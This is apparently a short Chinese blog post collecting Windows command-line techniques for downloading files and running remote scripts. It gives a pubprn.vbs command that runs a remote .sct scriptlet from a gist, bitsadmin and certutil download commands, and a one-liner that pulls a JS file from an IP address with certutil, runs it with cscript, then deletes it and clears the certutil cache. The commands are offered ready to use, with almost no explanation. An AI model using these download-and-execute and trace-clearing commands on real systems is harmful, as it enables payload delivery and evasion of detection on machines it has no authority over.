• CMD命令行下载文件


    远程执行sct的另一种姿势

    cscript /b C:WindowsSystem32Printing_Admin_Scriptszh-CNpubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct

     

    detail:https://posts.specterops.io/wsh-injection-a-case-study-fd35f79d29dd

    命令行下载姿势1

    1
    2
    3
    bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:p.zip
    bitsadmin /rawreturn /transfer getpayload http://download.sysinternals.com/files/PSTools.zip c:p.zip
    bitsadmin /transfer myDownLoadJob /download /priority normal "http://download.sysinternals.com/files/PSTools.zip" "c:p.zip"

    命令行下载姿势2

    1
    certutil -urlcache -split -f http://192.168.254.102:80/a.txt b.txt

    清除缓存 certutil -urlcache -split -f http://192.168.254.102:80/a.txt delete

    命令行执行远程JS

    certutil -urlcache -split -f http://192.168.254.102:80/a a.js && cscript a.js &&  del a.js && certutil -urlcache -split -f http://192.168.254.102:80/a delete
  • 相关阅读:
    Maven项目文档
    Maven外部依赖
    Nexus使用
    android -chrome 调试
    gradle问题 cordova
    OTS parsing error: invalid version tag woff和ttf文件被Filter拦截
    生产者和消费者模式--java设计模式
    Procedure-Function oracle
    ImageIO(图像处理)
    wpf表单验证
  • 原文地址:https://www.cnblogs.com/nul1/p/8973337.html
Copyright © 2020-2023  润新知